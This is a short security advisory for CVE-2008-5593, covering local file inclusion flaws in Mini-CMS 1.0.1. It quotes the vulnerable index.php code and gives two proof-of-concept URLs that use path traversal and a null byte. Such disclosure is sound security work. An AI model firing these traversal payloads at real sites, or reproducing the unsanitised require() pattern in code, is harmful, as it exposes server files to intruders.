Mini-CMS 1.0.1 (index.php) Multiple Local File Inclusion Vulnerabilities

2008.12.18

Credit: cOndemned

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-5593

CWE: CWE-22

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

/*
$Id: minicms-1.0.1-lfi.txt,v 0.1 2008/12/06 04:06:00 cOndemned Exp $
Mini-CMS 1.0.1 (index.php) Multiple Local File Inclusion Vulnerabilities
Discovered by cOndemned
Download : http://www.bpowerhouse.info/mini_cms.htm
Greetz : ZaBeaTy, str0ke, d2, sid.psycho, Adish, TBH & Avantura ;*
*/
Source of index.php
[...]
9. $page = !empty($_GET['page']) ? $_GET['page'] : "home";
10. $admin = !empty($_GET['admin']) ? $_GET['admin'] : "";
[...]
80. if (($page != "") && file_exists("page/" . $page . ".php")) {
81. require("page/" . $page . ".php");
82. } else if (($admin != "") && file_exists("admin/" . $admin . ".php")) {
83. require("admin/" . $admin . ".php");
[...]
Proof of Concept
http://[host]/[mini_cms_1.0.1_path]/index.php?page=../../../../[local_file]%00
http://[host]/[mini_cms_1.0.1_path]/index.php?admin=../../../../[local_file]%00
It's the same shit as in Mini-Blog 1.0.1... I don't even know how to call it...
Maybe double fail ? x]
EoF

See this note in RAW Version

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Mini-CMS 1.0.1 (index.php) Multiple Local File Inclusion Vulnerabilities

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